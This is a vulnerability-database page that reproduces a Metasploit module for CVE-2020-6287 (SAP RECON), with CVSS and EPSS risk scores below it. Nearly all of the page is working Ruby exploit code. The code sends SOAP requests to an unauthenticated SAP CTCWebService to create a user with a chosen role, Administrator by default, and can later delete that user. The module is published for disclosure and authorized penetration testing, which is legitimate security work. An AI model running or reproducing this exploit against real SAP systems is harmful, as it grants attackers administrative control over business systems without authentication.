Lucene search
+L

SAP Unauthenticated WebService User Creation

🗓️ 23 Jul 2020 17:40:56Reported by Pablo Artuso, Dmitry Chastuhin, Spencer McIntyreType 
metasploit
 metasploit
🔗 www.rapid7.com👁 267 Views

SAP Unauthenticated WebService User Creation. Submit job to create user with specified role, run wizard, then cancel to avoid system changes

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SAP Unauthenticated WebService User Creation',
        'Description' => %q{
          This module leverages an unauthenticated web service to submit a job which will create a user with a specified
          role. The job involves running a wizard. After the necessary action is taken, the job is canceled to avoid
          unnecessary system changes.
        },
        'Author' => [
          'Pablo Artuso', # The Onapsis Security Researcher who originally found the vulnerability
          'Dmitry Chastuhin', # Author of one of the early PoCs utilizing CTCWebService
          'Spencer McIntyre' # This Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2020-6287' ],
          [ 'URL', 'https://github.com/chipik/SAP_RECON' ],
          [ 'URL', 'https://www.onapsis.com/recon-sap-cyber-security-vulnerability' ],
          [ 'URL', 'https://us-cert.cisa.gov/ncas/alerts/aa20-195a' ]
        ],
        'Notes' => {
          'AKA' => [ 'RECON' ],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS],
          'Reliability' => []
        },
        'Actions' => [
          [ 'ADD', { 'Description' => 'Add the specified user' } ],
          [ 'REMOVE', { 'Description' => 'Remove the specified user' } ]
        ],
        'DefaultAction' => 'ADD',
        'DisclosureDate' => '2020-07-14'
      )
    )

    register_options(
      [
        Opt::RPORT(50000),
        OptString.new('USERNAME', [ true, 'The username to create' ]),
        OptString.new('PASSWORD', [ true, 'The password for the new user' ]),
        OptString.new('ROLE', [ true, 'The role to assign the new user', 'Administrator' ]),
        OptString.new('TARGETURI', [ true, 'Path to CTCWebService', '/CTCWebService/CTCWebServiceBean' ])
      ]
    )
  end

  def check
    res = send_request_cgi(
      {
        'uri' => normalize_uri(target_uri.path),
        'method' => 'GET',
        'vars_get' => { 'wsdl' => '' }
      }
    )

    return Exploit::CheckCode::Safe unless res&.code == 200
    return Exploit::CheckCode::Safe unless res.headers['Content-Type'].strip.start_with?('text/xml')

    xml = res.get_xml_document
    return Exploit::CheckCode::Safe unless xml.namespaces['xmlns:wsdl'] == 'http://schemas.xmlsoap.org/wsdl/'
    return Exploit::CheckCode::Safe if xml.xpath("//wsdl:definitions/wsdl:service[@name='CTCWebService']").empty?

    Exploit::CheckCode::Vulnerable
  end

  def run
    case action.name
    when 'ADD'
      action_add
    when 'REMOVE'
      action_remove
    end
  end

  def action_add
    job = nil
    print_status('Starting the PCK Upgrade job...')
    job = invoke_pckupgrade
    print_good("Job running with session id: #{job.session_id}")

    report_vuln(
      host: rhost,
      port: rport,
      name: name,
      sname: ssl ? 'https' : 'http',
      proto: 'tcp',
      refs: references,
      info: "Module #{fullname} successfully submitted a job via the CTCWebService"
    )

    loop do
      # it's a slow process, wait between status checks
      sleep 2

      next unless job.has_events_available?

      event = job.get_event

      if !(action_id = event.xpath('//ctc:StartAction/ctc:Action/ctc:ActionId/text()')).blank? && (action_id.to_s == 'genErrorNotification')
        report_error_details(job)
        fail_with(Failure::Unknown, 'General error')
      end

      unless (description = event.xpath('//ctc:StartAction/ctc:Action/ctc:Description/text()')).blank?
        vprint_status("Received event description: #{description}")
      end

      unless (description = event.xpath('//ctc:FinishAction/ctc:Action/ctc:Description/text()')).blank? # rubocop:disable Style/Next
        if description.to_s =~ /Create User PCKUser/i
          print_good('Successfully created the user account')
        end

        if description.to_s =~ /Assign Role SAP_XI_PCK_CONFIG to PCKUser/i
          print_good('Successfully added the role to the new user')
          break
        end
      end
    end
  ensure
    unless job.nil?
      print_status('Canceling the PCK Upgrade job...')
      job.cancel_execution
    end
  end

  def action_remove
    message = { name: 'DeleteUser' }
    message[:data] = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
      <root>
        <username secure="true">#{datastore['USERNAME'].encode(xml: :text)}</username>
      </root>
    ENVELOPE

    envelope = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
      <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">
        <soapenv:Header/>
        <soapenv:Body>
          <urn:executeSynchronious>
              <identifier>
                <component>sap.com/tc~lm~config~content</component>
                <path>content/Netweaver/ASJava/NWA/SPC/SPC_DeleteUser.cproc</path>
             </identifier>
             <contextMessages>
                <baData>#{Rex::Text.encode_base64(message[:data])}</baData>
                <name>#{message[:name]}</name>
             </contextMessages>
          </urn:executeSynchronious>
         </soapenv:Body>
      </soapenv:Envelope>
    ENVELOPE

    res = send_request_soap(envelope)
    fail_with(Failure::UnexpectedReply, 'Failed to delete the user') unless res&.code == 200

    print_good('Successfully deleted the user account')
  end

  def report_error_details(job)
    print_error('Received a general error notification')
    error_event = job.get_event

    print_error('Error details:')
    error_event.xpath('//ctc:Notification/ctcNote:Messages/ctcNote:Message').each do |message|
      print_error("  #{message.text}")
    end
  end

  def send_request_soap(envelope)
    res = send_request_cgi(
      {
        'uri' => normalize_uri(target_uri.path),
        'method' => 'POST',
        'ctype' => 'text/xml;charset=UTF-8',
        'data' => envelope
      }
    )

    return nil unless res&.code == 200
    return nil unless res.headers['Content-Type'].strip.start_with?('text/xml')

    res
  end

  def invoke_pckupgrade
    message = { name: 'Netweaver.PI_PCK.PCK' }
    message[:data] = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
      <PCK>
        <Usermanagement>
          <SAP_XI_PCK_CONFIG>
            <roleName>#{datastore['ROLE'].encode(xml: :text)}</roleName>
          </SAP_XI_PCK_CONFIG>
          <SAP_XI_PCK_COMMUNICATION>
            <roleName>#{Rex::Text.rand_text_alphanumeric(10..16)}</roleName>
          </SAP_XI_PCK_COMMUNICATION>
          <SAP_XI_PCK_MONITOR>
            <roleName>#{Rex::Text.rand_text_alphanumeric(10..16)}</roleName>
          </SAP_XI_PCK_MONITOR>
          <SAP_XI_PCK_ADMIN>
            <roleName>#{Rex::Text.rand_text_alphanumeric(10..16)}</roleName>
          </SAP_XI_PCK_ADMIN>
          <PCKUser>
            <userName secure="true">#{datastore['USERNAME'].encode(xml: :text)}</userName>
            <password secure="true">#{datastore['PASSWORD'].encode(xml: :text)}</password>
          </PCKUser>
          <PCKReceiver>
            <userName>#{Rex::Text.rand_text_alphanumeric(10..16)}</userName>
            <password secure="true">#{Rex::Text.rand_text_alphanumeric(10..16)}</password>
          </PCKReceiver>
          <PCKMonitor>
            <userName>#{Rex::Text.rand_text_alphanumeric(10..16)}</userName>
            <password secure="true">#{Rex::Text.rand_text_alphanumeric(10..16)}</password>
          </PCKMonitor>
          <PCKAdmin>
            <userName>#{Rex::Text.rand_text_alphanumeric(10..16)}</userName>
            <password secure="true">#{Rex::Text.rand_text_alphanumeric(10..16)}</password>
          </PCKAdmin>
        </Usermanagement>
      </PCK>
    ENVELOPE

    envelope = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
      <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">
        <soapenv:Header/>
        <soapenv:Body>
          <urn:execute>
              <identifier>
                <component>sap.com/tc~lm~config~content</component>
                <path>content/Netweaver/PI_PCK/PCK/PCKProcess.cproc</path>
             </identifier>
             <contextMessages>
                <baData>#{Rex::Text.encode_base64(message[:data])}</baData>
                <name>#{message[:name]}</name>
             </contextMessages>
          </urn:execute>
         </soapenv:Body>
      </soapenv:Envelope>
    ENVELOPE

    res = send_request_soap(envelope)
    fail_with(Failure::UnexpectedReply, 'Failed to start the PCK Upgrade process') unless res&.code == 200

    session_id = res.get_xml_document.xpath('//return/text()').to_s
    WebServiceJob.new(self, session_id)
  end
end

class WebServiceJob
  def initialize(mod, session_id)
    @mod = mod
    @session_id = session_id
  end

  def cancel_execution
    envelope = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
      <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">
         <soapenv:Header/>
         <soapenv:Body>
            <urn:cancelExecution>
               <sessionId>#{@session_id.encode(xml: :text)}</sessionId>
            </urn:cancelExecution>
         </soapenv:Body>
      </soapenv:Envelope>
    ENVELOPE
    res = send_request_soap(envelope)
    fail_with(Failure::UnexpectedReply, 'Failed to cancel execution') if res.nil?

    res.get_xml_document.xpath('//return/text()').to_s != 'false'
  end

  def get_event
    envelope = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
      <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">
         <soapenv:Header/>
         <soapenv:Body>
            <urn:getNextEvent>
               <sessionId>#{@session_id.encode(xml: :text)}</sessionId>
            </urn:getNextEvent>
         </soapenv:Body>
      </soapenv:Envelope>
    ENVELOPE
    res = send_request_soap(envelope)
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve the event information') if res.nil?

    Nokogiri::XML(Rex::Text.decode_base64(res.get_xml_document.xpath('//return/text()')))
  end

  def has_events_available? # rubocop:disable Naming/PredicateName
    envelope = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
      <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">
         <soapenv:Header/>
         <soapenv:Body>
            <urn:eventsAvailable>
               <sessionId>#{@session_id.encode(xml: :text)}</sessionId>
            </urn:eventsAvailable>
         </soapenv:Body>
      </soapenv:Envelope>
    ENVELOPE
    res = send_request_soap(envelope)
    fail_with(Failure::UnexpectedReply, 'Failed to check if events are available') if res.nil?

    res.get_xml_document.xpath('//return/text()').to_s != 'false'
  end

  attr_reader :session_id

  private

  def send_request_soap(*args, **kwargs)
    @mod.send_request_soap(*args, **kwargs)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Sep 2025 18:56Current
9.2High risk
Vulners AI Score9.2
CVSS 3.110
CVSS 210
CVSS 310
EPSS0.94719
267